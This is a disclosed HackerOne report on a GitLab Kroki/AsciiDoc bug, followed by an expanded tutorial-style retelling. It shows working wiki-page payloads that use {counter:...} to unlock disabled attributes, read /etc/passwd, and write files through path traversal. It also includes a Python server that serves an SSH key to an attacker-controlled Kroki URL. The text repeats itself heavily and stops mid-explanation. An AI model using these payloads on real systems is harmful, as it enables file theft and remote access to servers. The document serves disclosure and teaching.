Kroki Arbitrary File Read/Write
GitLab's AsciiDoc rendering disabled certain Kroki attributes to prevent file access, but an attacker could bypass this using the AsciiDoc counter attribute to re-enable them. This allowed reading local files via the PlantUML include feature and writing arbitrary files by manipulating the Kroki server URL and diagram fetch settings.
Originally disclosed on HackerOne
- Triaged in 15 hours
- Fixed in 52 days
- Paid in 3 days
- Disclosed after 3 months
Summary
In short, I've found a potentially weird bug in asciidoctor that could lead to arbitrary file read/write in asciidoctor-kroki even though Gitlab have already made an attempt to disable kroki-plantuml-include
lib/gitlab/asciidoc.rb
module Gitlab
# Parser/renderer for the AsciiDoc format that uses Asciidoctor and filters
# the resulting HTML through HTML pipeline filters.
module Asciidoc
MAX_INCLUDE_DEPTH = 5
MAX_INCLUDES = 32
DEFAULT_ADOC_ATTRS = {
'showtitle' => true,
'sectanchors' => true,
'idprefix' => 'user-content-',
'idseparator' => '-',
'env' => 'gitlab',
'env-gitlab' => '',
'source-highlighter' => 'gitlab-html-pipeline',
'icons' => 'font',
'outfilesuffix' => '.adoc',
'max-include-depth' => MAX_INCLUDE_DEPTH,
# This feature is disabled because it relies on File#read to read the file.
# If we want to enable this feature we will need to provide a "GitLab compatible" implementation.
# This attribute is typically used to share common config (skinparam...) across all PlantUML diagrams.
# The value can be a path or a URL.
'kroki-plantuml-include!' => '',
# This feature is disabled because it relies on the local file system to save diagrams retrieved from the Kroki server.
'kroki-fetch-diagram!' => ''
However this could easily be bypassed by using counter
https://github.com/asciidoctor/asciidoctor/blob/master/lib/asciidoctor/document.rb
def counter name, seed = nil
return @parent_document.counter name, seed if @parent_document
if (attr_seed = !(attr_val = @attributes[name]).nil_or_empty?) && (@counters.key? name)
@attributes[name] = @counters[name] = Helpers.nextval attr_val
elsif seed
@attributes[name] = @counters[name] = seed == seed.to_i.to_s ? seed.to_i : seed
else
@attributes[name] = @counters[name] = Helpers.nextval attr_seed ? attr_val : 0
end
end
Steps to reproduce
- Set up Gitlab with Kroki: https://docs.gitlab.com/ee/administration/integration/kroki.html
Arbitrary FIle Read
2. Create a project, create a wiki page with asciidoctor format and the following as payload
[#goals]
[plantuml, test="{counter:kroki-plantuml-include:/etc/passwd}", format="png"]
....
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlock
BlockProcessor <|-- {counter:kroki-plantuml-include}
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
....
- Get the base64 part of the URL of the image when being rendered
- Use the following code to decode the last part of the URL to get the content of file
/etc/passwd
require 'base64'
require 'zlib'
test = "eNpLzkksLlZwyslPzg4oyk9OLS7OL-JKBgu6ZCamFyXmguXgQiWJicgCATmJeSWhuTkQMS5UcxRsanR1FTJSM1K5kM2CCCMZhSmJYiwAy8U5sQ=="
p Zlib::Inflate.inflate(Base64.urlsafe_decode64(test))
Video:
Arbitrary FIle Write
- Create a project, create a wiki page with
asciidoctorformat and the following as payload
[#goals]
:imagesdir: .
:outdir: /tmp/
[plantuml]
....
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlock
BlockProcessor <|-- hehe
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
....
-
Note in the URL there is a base64 value, copy this value
-
Set up a server with the address that is being appended as
kroki-server-url,, I used this scriptto serve a public-key file with any URL.
/// python3 this_script.py <port>
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
class S(BaseHTTPRequestHandler):
def _set_response(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
def do_GET(self):
logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
self._set_response()
self.wfile.write(b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEY+UcYlP8VzOBdyMGUpbVFMsAUxPjWK7OiqARu/t3wO1mSNJ/RE5eaNLz5+6zM2WllUVrYF3cDXqNxge4srScM/v887Lz8mAupAZoPunxHrSTWFHjbCBaGm80z8QyStG+GMM/iN+mu4FtQ+ckMfOA8T/9k3clK3HomQXunJe85a6MPDsgE5MvEm4MdBUKQpEaEbstmAWtQIR5KCMHyNDa9WVKQQI+TJwAMpVa3L+Lbx4TZd04Fl5uKmCYUfPfBvj1/209s1XDN2rAK3AKJjAEbPVuLcZrl9iAse0FgA6HvUtA+g21VLba5OASXU/ZsedRmzECefMu8RVKHPzaaiC+RQU+1ihgBnQig0MdaXz8PZLOCo/673Pg9nsqjNafeU7fGTJD95BkkDL/3OfIEBq+rMbOyxrU+k8H+QWeVCbvh2LWRxdy/xciOMkkdodm2eGg45kJNjoDeKJEp0YpQ9ha+PdsqQqENAbqFqmYheAy1KJcpbG+U6Uik4hVXHxTAu0= [email protected]")
def do_POST(self):
content_length = int(self.headers['Content-Length']) # <--- Gets the size of data
post_data = self.rfile.read(content_length) # <--- Gets the data itself
logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
str(self.path), str(self.headers), post_data.decode('utf-8'))
self._set_response()
self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))
def run(server_class=HTTPServer, handler_class=S, port=8080):
logging.basicConfig(level=logging.INFO)
server_address = ('0.0.0.0', port)
httpd = server_class(server_address, handler_class)
logging.info('Starting httpd...\n')
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
logging.info('Stopping httpd...\n')
if __name__ == '__main__':
from sys import argv
if len(argv) == 2:
run(port=int(argv[1]))
else:
run()
- Note the URL and edit the following script to create a SHA256 of the URL
require 'digest'
require 'base64'
require 'zlib'
string = "http://192.168.69.1:8082/plantuml/../../../../../../tmp/test_file_write.txt/eNpLzkksLlZwyslPzg4oyk9OLS7OL-JKBgu6ZCamFyXmguXgQiWJicgCATmJeSWhuTkQMS5UcxRsanR1FTJSM1K5kM2CCCMZhSmJYiwAy8U5sQ=="
p "diag-#{Digest::SHA256.hexdigest test = string}"
- Create a project, create a wiki page with
asciidoctorformat and the following as payload for the first time, replace thediag-**.with thediag-<output_previous>., Please take note of the last.
[#goals]
:imagesdir: diag-58f90331904a1989259d639c5677e0fff5e434e739c70f1d3bb2004723bc99b8.
:outdir: /tmp/
[plantuml, test="{counter:kroki-fetch-diagram:true}",tet="{counter:kroki-server-url:http://192.168.69.1:8082/}", format="/../../../../../../tmp/test_file_write.txt"]
....
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlock
BlockProcessor <|-- hehe
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
....
Save then render
- Repeat the previous step with this payload
[#goals]
:imagesdir: diag-58f90331904a1989259d639c5677e0fff5e434e739c70f1d3bb2004723bc99b8.
:outdir: /tmp/
[plantuml, test="{counter:kroki-fetch-diagram:true}",tet="{counter:kroki-server-url:http://192.168.69.1:8082/}", format="/../../../../../../tmp/test_file_write.txt"]
....
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlock
BlockProcessor <|-- hehe
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
Save then render again
- You are able to write to any files. You can check this by simply navigate to the file using the Gitlab box
Video:
Results of GitLab environment info
System information
System: Ubuntu 16.04
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.7.2p137
Gem Version: 3.1.4
Bundler Version:2.1.4
Rake Version: 13.0.1
Redis Version: 5.0.9
Git Version: 2.29.0
Sidekiq Version:5.2.9
Go Version: unknown
GitLab information
Version: 13.7.4-ee
Revision: 368b4fb2eee
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 11.9
URL: http://gitlab3.example.vm
HTTP Clone URL: http://gitlab3.example.vm/some-group/some-project.git
SSH Clone URL: [email protected]:some-group/some-project.git
Elasticsearch: no
Geo: yes
Geo node: Primary
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 13.14.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
Impact
File read/write access, RCE
Context
GitLab can render AsciiDoc wiki pages and other AsciiDoc content through Asciidoctor, and it can be configured to send diagram blocks to an external Kroki server. Kroki turns textual diagram descriptions (PlantUML, Ditaa and others) into images. GitLab's Asciidoctor integration ships with a set of default attributes, and two of them are deliberately disabled because they touch the local filesystem: kroki-plantuml-include! (which relies on File#read) and kroki-fetch-diagram! (which relies on the local filesystem to save diagrams retrieved from the Kroki server).
The report shows that both of these disabled features can be re-enabled from inside an AsciiDoc document, leading to arbitrary file read and arbitrary file write on the GitLab instance.
Setup
The researcher set up GitLab with Kroki following the GitLab administration documentation for the Kroki integration. The environment reported by the researcher was:
System information
System: Ubuntu 16.04
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.7.2p137
Gem Version: 3.1.4
Bundler Version:2.1.4
Rake Version: 13.0.1
Redis Version: 5.0.9
Git Version: 2.29.0
Sidekiq Version:5.2.9
Go Version: unknown
GitLab information
Version: 13.7.4-ee
Revision: 368b4fb2eee
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 11.9
URL: http://gitlab3.example.vm
HTTP Clone URL: http://gitlab3.example.vm/some-group/some-project.git
SSH Clone URL: [redacted]:some-group/some-project.git
Elasticsearch: no
Geo: yes
Geo node: Primary
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 13.14.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
The precondition for both attacks is a project where the attacker can create a wiki page in asciidoctor format, plus a GitLab instance with the Kroki integration enabled. The write attack additionally needs the attacker to control a server that GitLab will reach as the Kroki server URL.
Finding it
The starting point is GitLab's Asciidoctor configuration, lib/gitlab/asciidoc.rb, which sets the default attributes for every rendered document:
module Gitlab
# Parser/renderer for the AsciiDoc format that uses Asciidoctor and filters
# the resulting HTML through HTML pipeline filters.
module Asciidoc
MAX_INCLUDE_DEPTH = 5
MAX_INCLUDES = 32
DEFAULT_ADOC_ATTRS = {
'showtitle' => true,
'sectanchors' => true,
'idprefix' => 'user-content-',
'idseparator' => '-',
'env' => 'gitlab',
'env-gitlab' => '',
'source-highlighter' => 'gitlab-html-pipeline',
'icons' => 'font',
'outfilesuffix' => '.adoc',
'max-include-depth' => MAX_INCLUDE_DEPTH,
# This feature is disabled because it relies on File#read to read the file.
# If we want to enable this feature we will need to provide a "GitLab compatible" implementation.
# This attribute is typically used to share common config (skinparam...) across all PlantUML diagrams.
# The value can be a path or a URL.
'kroki-plantuml-include!' => '',
# This feature is disabled because it relies on the local file system to save diagrams retrieved from the Kroki server.
'kroki-fetch-diagram!' => ''
The trailing ! in kroki-plantuml-include! and kroki-fetch-diagram! is Asciidoctor's way of marking an attribute as locked: a document is not supposed to be able to set it. The researcher found that this lock can be bypassed by using the counter attribute reference, which goes through Asciidoctor::Document#counter:
def counter name, seed = nil
return @parent_document.counter name, seed if @parent_document
if (attr_seed = !(attr_val = @attributes[name]).nil_or_empty?) && (@counters.key? name)
@attributes[name] = @counters[name] = Helpers.nextval attr_val
elsif seed
@attributes[name] = @counters[name] = seed == seed.to_i.to_s ? seed.to_i : seed
else
@attributes[name] = @counters[name] = Helpers.nextval attr_seed ? attr_val : 0
end
end
Because counter writes directly into @attributes, it can set an attribute that the document is otherwise not allowed to set, and it can seed it with an arbitrary string. That is the primitive behind both the read and the write.
Exploitation
Arbitrary file read
-
Set up GitLab with Kroki as described in the GitLab administration documentation.
-
Create a project and a wiki page in
asciidoctorformat with the following payload:
[#goals]
[plantuml, test="{counter:kroki-plantuml-include:/etc/passwd}", format="png"]
....
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlock
BlockProcessor <|-- {counter:kroki-plantuml-include}
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
....
The first {counter:kroki-plantuml-include:/etc/passwd} seeds the locked attribute with the path /etc/passwd, re-enabling the PlantUML include feature and pointing it at a local file. The second {counter:kroki-plantuml-include} reference then reads the attribute back inside the diagram body, so the file content ends up in the PlantUML source that is sent to Kroki.
-
When the page is rendered, take the base64 part of the URL of the resulting image.
-
Decode the last part of the URL to recover the content of
/etc/passwd:
require 'base64'
require 'zlib'
test = "eNpLzkksLlZwyslPzg4oyk9OLS7OL-[redacted]=="
p Zlib::Inflate.inflate(Base64.urlsafe_decode64(test))
The image URL carries the diagram definition as URL-safe base64 of zlib-compressed data, so inflating it after decoding returns the PlantUML source, which now contains the file content.
Arbitrary file write
[#goals]
:imagesdir: .
:outdir: /tmp/
[plantuml]
....
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlock
BlockProcessor <|-- hehe
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
....
-
In the URL of the rendered image there is a base64 value; copy it.
-
Set up a server at the address that will be appended as
kroki-server-url. The researcher used the following script to serve a public-key file at any URL:
/// python3 this_script.py <port>
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
class S(BaseHTTPRequestHandler):
def _set_response(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
def do_GET(self):
logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
self._set_response()
self.wfile.write(b"ssh-rsa [redacted]+[redacted]/t3wO1mSNJ/RE5eaNLz5+6zM2WllUVrYF3cDXqNxge4srScM/[redacted]+GMM/iN+mu4FtQ+ckMfOA8T/[redacted]+TJwAMpVa3L+Lbx4TZd04Fl5uKmCYUfPfBvj1/[redacted]+g21VLba5OASXU/ZsedRmzECefMu8RVKHPzaaiC+RQU+1ihgBnQig0MdaXz8PZLOCo/673Pg9nsqjNafeU7fGTJD95BkkDL/3OfIEBq+rMbOyxrU+k8H+QWeVCbvh2LWRxdy/[redacted]+PdsqQqENAbqFqmYheAy1KJcpbG+U6Uik4hVXHxTAu0= [redacted]")
def do_POST(self):
content_length = int(self.headers['Content-Length']) # <--- Gets the size of data
post_data = self.rfile.read(content_length) # <--- Gets the data itself
logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
str(self.path), str(self.headers), post_data.decode('utf-8'))
self._set_response()
self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))
def run(server_class=HTTPServer, handler_class=S, port=8080):
logging.basicConfig(level=logging.INFO)
server_address = ('[redacted]', port)
httpd = server_class(server_address, handler_class)
logging.info('Starting httpd...\n')
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
logging.info('Stopping httpd...\n')
if __name__ == '__main__':
from sys import argv
if len(argv) == 2:
run(port=int(argv[1]))
else:
run()
The server answers every GET with the same body, an SSH public key.
- Note the URL and edit the following script to create a SHA256 of the URL:
require 'digest'
require 'base64'
require 'zlib'
string = "http://[redacted]:8082/plantuml/../../../../../../tmp/test_file_write.txt/eNpLzkksLlZwyslPzg4oyk9OLS7OL-[redacted]=="
p "diag-#{Digest::SHA256.hexdigest test = string}"
The script builds a URL and prints its SHA256 with a diag- prefix.
- Create a wiki page in
asciidoctorformat with the following payload for the first time, replacingdiag-**.withdiag-<output_previous>.and taking note of the trailing.:
[#goals]
:imagesdir: diag-[redacted].
:outdir: /tmp/
[plantuml, test="{counter:kroki-fetch-diagram:true}",tet="{counter:kroki-server-url:http://[redacted]:8082/}", format="/../../../../../../tmp/test_file_write.txt"]
....
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlock
BlockProcessor <|-- hehe
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
....
Save, then render. The {counter:kroki-fetch-diagram:true} re-enables the locked fetch feature, {counter:kroki-server-url:http://[redacted]:8082/} points GitLab at the attacker's server, and the format attribute supplies the traversal path.
- Repeat the previous step with this payload:
[#goals]
:imagesdir: diag-[redacted].
:outdir: /tmp/
[plantuml, test="{counter:kroki-fetch-diagram:true}",tet="{counter:kroki-server-url:http://[redacted]:8082/}", format="/../../../../../../tmp/test_file_write.txt"]
....
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlock
BlockProcessor <|-- hehe
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
....
Save, then render again.
- The researcher reports being able to write to any file, verifiable by navigating to the file through the GitLab instance.
Root cause
The locked attributes kroki-plantuml-include! and kroki-fetch-diagram! are meant to be unsettable from a document, but Asciidoctor::Document#counter assigns straight into @attributes without honouring the lock. A document can therefore seed either attribute with an arbitrary value through {counter:...} and read it back with a bare {counter:...} reference. The payload also sets kroki-server-url through a counter reference.
With kroki-plantuml-include re-enabled, the PlantUML include feature reads a local file and places its content into the diagram source, which is then encoded into the image URL. With kroki-fetch-diagram re-enabled, GitLab fetches the diagram from the attacker's server and saves it to the local filesystem, and the format attribute plus the imagesdir/outdir attributes determine the path, including traversal sequences. The existing defence, the ! lock in the default attributes, is bypassed because it only guards the normal attribute-setting path, not the counter path.
Impact
The researcher states the impact as file read/write access and RCE. File read exposes local files such as /etc/passwd to anyone who can view the rendered page. File write lets an attacker place arbitrary content at an arbitrary path on the GitLab host, which the researcher used to write an SSH public key, and which the researcher describes as leading to RCE. Both require the ability to create an AsciiDoc wiki page on a GitLab instance with Kroki enabled; the write additionally requires the attacker to run a reachable server that GitLab will contact as the Kroki server.
Fix
The report does not describe the fix that was applied.
Variants to test
- Try
{counter:...}against other locked attributes in the same Asciidoctor integration, such as include-related settings, and check whether the value takes effect in the rendered output. - Try seeding
kroki-server-urlon its own and observe whether GitLab contacts the attacker's host, which confirms the server URL is document-controlled. - Try other diagram types (Ditaa, PlantUML) with the same counter payloads to see whether the include and fetch paths behave the same.
- Try different
format,imagesdirandoutdircombinations to see how much of the write path is attacker-controlled.
Hunting notes
This kind of bug hides where a product embeds a third-party renderer and tries to disable dangerous features by setting locked attributes. During recon, look for integrations that document disabled features (comments in configuration files are a strong signal) and check whether any other attribute mechanism, such as counters, can set them. A positive result is a rendered page whose output contains local file content or whose image URL points at an attacker-controlled host. The researcher demonstrated impact by recovering /etc/passwd from the image URL and by writing a file to a chosen path and reaching it through GitLab.
What happened, in plain words
GitLab is a website where teams keep their code and documentation. One of the things it can do is show documentation written in a format called AsciiDoc. AsciiDoc is a way of writing text with simple markup, a bit like Markdown, and it can include diagrams described in text. To turn those text descriptions into pictures, GitLab can be connected to a separate helper service called Kroki. You write something like "draw a class diagram with these boxes", GitLab sends that text to Kroki, Kroki draws the picture, and GitLab shows the picture on the page.
Because that helper service is powerful, GitLab's developers deliberately switched off two of its features. Those features can read files from the server's own disk and save files onto it, so leaving them on would be dangerous. They switched them off by marking them as "locked" in the default settings that GitLab applies to every AsciiDoc page. A locked setting is one that a document is not supposed to be able to change.
The researcher found a way around that lock. AsciiDoc has a small feature called a counter, written {counter:...}, normally used to number things automatically. It turns out that the counter code writes its value straight into the settings list without checking whether a setting is locked. So a document can switch the dangerous features back on, and can also point GitLab at a server the attacker controls.
That gives two results. First, an attacker can make GitLab read a file from its own disk, such as the list of user accounts in /etc/passwd, and smuggle the contents out inside the address of an image on the page. Second, an attacker can make GitLab download a file from the attacker's server and save it anywhere on the GitLab machine, which the researcher used to plant an SSH public key, a kind of key that can be used to log in to a server. The researcher describes the overall impact as file read and write access, and remote code execution, meaning the ability to run their own commands on the machine.
To try any of this, the attacker needs an account that can create a wiki page in AsciiDoc format on a GitLab instance where Kroki is switched on. The write attack also needs the attacker to run a small web server that GitLab can reach.
Setting up
The researcher set up GitLab with Kroki by following GitLab's own administration documentation for the Kroki integration. The machine they tested on reported the following details about itself:
System information
System: Ubuntu 16.04
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.7.2p137
Gem Version: 3.1.4
Bundler Version:2.1.4
Rake Version: 13.0.1
Redis Version: 5.0.9
Git Version: 2.29.0
Sidekiq Version:5.2.9
Go Version: unknown
GitLab information
Version: 13.7.4-ee
Revision: 368b4fb2eee
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 11.9
URL: http://gitlab3.example.vm
HTTP Clone URL: http://gitlab3.example.vm/some-group/some-project.git
SSH Clone URL: [redacted]:some-group/some-project.git
Elasticsearch: no
Geo: yes
Geo node: Primary
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 13.14.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
This block is a standard health report that GitLab can print about itself. It lists the operating system, the versions of the software components GitLab depends on (Ruby, Redis, Git, Sidekiq and so on), the GitLab version, and where things live on disk. It is included so that anyone repeating the test knows which versions were involved. The address gitlab3.example.vm is a placeholder hostname for the test machine.
Finding it
The starting point is a file inside GitLab's source code, lib/gitlab/asciidoc.rb. This file sets the default settings, called attributes, that apply to every AsciiDoc document GitLab renders:
module Gitlab
# Parser/renderer for the AsciiDoc format that uses Asciidoctor and filters
# the resulting HTML through HTML pipeline filters.
module Asciidoc
MAX_INCLUDE_DEPTH = 5
MAX_INCLUDES = 32
DEFAULT_ADOC_ATTRS = {
'showtitle' => true,
'sectanchors' => true,
'idprefix' => 'user-content-',
'idseparator' => '-',
'env' => 'gitlab',
'env-gitlab' => '',
'source-highlighter' => 'gitlab-html-pipeline',
'icons' => 'font',
'outfilesuffix' => '.adoc',
'max-include-depth' => MAX_INCLUDE_DEPTH,
# This feature is disabled because it relies on File#read to read the file.
# If we want to enable this feature we will need to provide a "GitLab compatible" implementation.
# This attribute is typically used to share common config (skinparam...) across all PlantUML diagrams.
# The value can be a path or a URL.
'kroki-plantuml-include!' => '',
# This feature is disabled because it relies on the local file system to save diagrams retrieved from the Kroki server.
'kroki-fetch-diagram!' => ''
Line by line, in plain words:
module Gitlabandmodule Asciidocare just containers that group related code together under a name.MAX_INCLUDE_DEPTH = 5andMAX_INCLUDES = 32are two limits: how deeply one document may include another, and how many includes are allowed in total. They exist to stop documents from pulling in endless amounts of content.DEFAULT_ADOC_ATTRS = {starts a list of default settings. Each entry is a name and a value, like a row in a settings table.'showtitle' => true,'sectanchors' => true,'idprefix' => 'user-content-','idseparator' => '-'control small presentation details: whether the title is shown, whether section headings get anchor links, and what prefix and separator are used when building HTML element identifiers.'env' => 'gitlab'and'env-gitlab' => ''tell Asciidoctor it is running inside GitLab, so any behaviour that depends on the environment can adapt.'source-highlighter' => 'gitlab-html-pipeline'chooses which component adds colour to code samples.'icons' => 'font'says icons should be drawn with a font, and'outfilesuffix' => '.adoc'sets the default file extension used when generating output names.'max-include-depth' => MAX_INCLUDE_DEPTHconnects the earlier limit to the setting name Asciidoctor expects.- The comment lines explain the two entries that follow. The first says the feature is disabled because it relies on
File#read, a function that reads a file from disk, and that enabling it would need a GitLab-specific implementation. It also explains that the setting is normally used to share common PlantUML configuration across diagrams, and that its value can be a path or a URL. 'kroki-plantuml-include!' => ''is that feature, switched off with an empty value. The exclamation mark at the end of the name is Asciidoctor's way of marking a setting as locked: a document is not supposed to be able to set it.- The second comment says the next feature is disabled because it relies on the local filesystem to save diagrams fetched from the Kroki server.
'kroki-fetch-diagram!' => ''is that feature, also switched off and also locked.
The researcher found that the lock can be bypassed with the counter feature. Here is the relevant part of Asciidoctor's own code, from lib/asciidoctor/document.rb:
def counter name, seed = nil
return @parent_document.counter name, seed if @parent_document
if (attr_seed = !(attr_val = @attributes[name]).nil_or_empty?) && (@counters.key? name)
@attributes[name] = @counters[name] = Helpers.nextval attr_val
elsif seed
@attributes[name] = @counters[name] = seed == seed.to_i.to_s ? seed.to_i : seed
else
@attributes[name] = @counters[name] = Helpers.nextval attr_seed ? attr_val : 0
end
end
Line by line:
def counter name, seed = nildefines a function calledcounterthat takes a setting name and an optional starting value, called a seed.return @parent_document.counter name, seed if @parent_documentsays: if this document is itself included inside another document, pass the request up to the parent document and stop here.if (attr_seed = !(attr_val = @attributes[name]).nil_or_empty?) && (@counters.key? name)looks up the current value of the named setting, checks that it is not empty, and checks whether a counter with that name already exists. The result is stored inattr_seed.@attributes[name] = @counters[name] = Helpers.nextval attr_valruns when both are true: it advances the existing counter to its next value and stores that in the settings list.elsif seedruns when a seed was supplied:@attributes[name] = @counters[name] = seed == seed.to_i.to_s ? seed.to_i : seedstores the seed in both the settings list and the counter list, converting it to a number if it looks like one.elsehandles the remaining case:@attributes[name] = @counters[name] = Helpers.nextval attr_seed ? attr_val : 0starts a new counter, from the existing value if there was one, otherwise from zero.endcloses the function.
The important part is that every branch writes directly into @attributes, the settings list, without ever checking whether the setting is locked. So a document can set a setting it is not supposed to set, and can give it any text as a starting value. That is the trick behind both the read and the write.
Exploitation
Arbitrary file read
-
Set up GitLab with Kroki as described in the GitLab administration documentation.
-
Create a project and a wiki page in
asciidoctorformat with the following payload:
[#goals]
[plantuml, test="{counter:kroki-plantuml-include:/etc/passwd}", format="png"]
....
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlock
BlockProcessor <|-- {counter:kroki-plantuml-include}
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
....
Line by line:
[#goals]gives the following block an identifier,goals. It is just a label.[plantuml, test="{counter:kroki-plantuml-include:/etc/passwd}", format="png"]is the line that describes the diagram block. It says the diagram is written in PlantUML, that the output should be a PNG image, and it sets an attribute calledtest. The value oftestis a counter reference that seeds the locked settingkroki-plantuml-includewith the path/etc/passwd. In other words, this line switches the disabled include feature back on and points it at the local password file.....opens a block of literal text. Everything until the closing....is passed through as-is.- The four
class ...lines are ordinary PlantUML: they declare four boxes in a class diagram. BlockProcessor <|-- {counter:kroki-plantuml-include}draws an inheritance arrow fromBlockProcessorto whatever the setting now contains. Because the setting was seeded with/etc/passwd, the include feature reads that file and puts its contents here, inside the diagram source.- The next two lines draw more inheritance arrows between the other boxes.
- The final
....closes the literal block.
So the first counter reference switches the feature on and gives it a file path, and the second one reads the setting back inside the diagram body. The file's contents end up in the PlantUML text that GitLab sends to Kroki.
-
When the page is rendered, take the base64 part of the URL of the resulting image. Base64 is a way of writing arbitrary data using only letters, digits and a couple of symbols, so it can travel safely inside a web address. The image address contains the diagram description encoded this way.
-
Decode the last part of the URL to recover the content of
/etc/passwd:
require 'base64'
require 'zlib'
test = "eNpLzkksLlZwyslPzg4oyk9OLS7OL-[redacted]=="
p Zlib::Inflate.inflate(Base64.urlsafe_decode64(test))
Line by line:
require 'base64'loads Ruby's built-in tools for base64 encoding and decoding.require 'zlib'loads Ruby's built-in compression tools.test = "..."stores the copied part of the image URL in a variable. The string is the encoded diagram definition.p Zlib::Inflate.inflate(Base64.urlsafe_decode64(test))does two things in one line.Base64.urlsafe_decode64(test)turns the URL-safe base64 text back into raw bytes.Zlib::Inflate.inflate(...)then decompresses those bytes, because the diagram definition was compressed before being encoded.pprints the result.
The image URL carries the diagram definition as URL-safe base64 of zlib-compressed data, so decoding and then decompressing gives back the PlantUML source, which now contains the file's contents.
Arbitrary file write
[#goals]
:imagesdir: .
:outdir: /tmp/
[plantuml]
....
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlock
BlockProcessor <|-- hehe
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
....
Line by line:
[#goals]is the same identifier label as before.:imagesdir: .sets where images are looked for, here the current directory.:outdir: /tmp/sets the output directory to/tmp/, a temporary folder on the machine.[plantuml]starts a PlantUML diagram block with no extra options.....opens the literal block, theclasslines declare the boxes,BlockProcessor <|-- hehedraws an arrow to a box calledhehe, the other two lines draw more arrows, and the closing....ends the block.
This page is only used to make GitLab render a diagram and produce an image URL that contains the encoded diagram. That encoded value is needed in the next steps.
-
In the URL of the rendered image there is a base64 value; copy it.
-
Set up a server at the address that will be appended as
kroki-server-url. The researcher used the following script to serve a public-key file at any URL:
/// python3 this_script.py <port>
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
class S(BaseHTTPRequestHandler):
def _set_response(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
def do_GET(self):
logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
self._set_response()
self.wfile.write(b"ssh-rsa [redacted]+[redacted]/t3wO1mSNJ/RE5eaNLz5+6zM2WllUVrYF3cDXqNxge4srScM/[redacted]+GMM/iN+mu4FtQ+ckMfOA8T/[redacted]+TJwAMpVa3L+Lbx4TZd04Fl5uKmCYUfPfBvj1/[redacted]+g21VLba5OASXU/ZsedRmzECefMu8RVKHPzaaiC+RQU+1ihgBnQig0MdaXz8PZLOCo/673Pg9nsqjNafeU7fGTJD95BkkDL/3OfIEBq+rMbOyxrU+k8H+QWeVCbvh2LWRxdy/[redacted]+PdsqQqENAbqFqmYheAy1KJcpbG+U6Uik4hVXHxTAu0= [redacted]")
def do_POST(self):
content_length = int(self.headers['Content-Length']) # <--- Gets the size of data
post_data = self.rfile.read(content_length) # <--- Gets the data itself
logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
str(self.path), str(self.headers), post_data.decode('utf-8'))
self._set_response()
self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))
def run(server_class=HTTPServer, handler_class=S, port=8080):
logging.basicConfig(level=logging.INFO)
server_address = ('[redacted]', port)
httpd = server_class(server_address, handler_class)
logging.info('Starting httpd...\n')
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
logging.info('Stopping httpd...\n')
if __name__ == '__main__':
from sys import argv
if len(argv) == 2:
run(port=int(argv[1]))
else:
run()
Line by line:
